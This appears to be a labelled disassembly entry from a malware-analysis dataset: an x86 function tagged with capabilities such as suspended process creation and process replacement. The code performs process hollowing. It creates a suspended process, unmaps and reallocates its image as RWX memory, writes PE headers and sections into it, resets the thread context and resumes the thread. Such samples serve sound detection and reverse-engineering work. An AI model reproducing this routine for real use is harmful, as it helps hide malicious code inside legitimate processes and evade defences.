Function at 0x402e20
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push 0x10
push 0
lea eax, [ebp - 0x2e8]
push eax
call fcn.00402820
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x338]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x2e8]
push edx
lea eax, [ebp - 0x338]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2ec], ecx
push 0x40165c
push 0x401674
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4075c0], eax
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x2e8]
push ecx
call dword [0x4075c0]
test eax, eax
je 0x402ed6
call fcn.00403870
call fcn.004057b0
push 0x40
push 0x3000
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 8], 0
jmp 0x402f37
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x2ec]
movzx eax, word [edx + 6]
cmp dword [ebp - 8], eax
jae 0x402f94
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 8]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
lea ecx, [eax + edx + 0xf8]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 0xc]
push ecx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x402f2e
mov dword [ebp - 0x2d8], 0x10007
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
mov eax, dword [ebp - 0x2ec]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x234]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x2e8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x2ec]
add ecx, dword [edx + 0x28]
mov dword [ebp - 0x228], ecx
lea eax, [ebp - 0x2d8]
push eax
mov ecx, dword [ebp - 0x2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x40301f
call fcn.00403870
call fcn.004057b0
mov esp, ebp
pop ebp
ret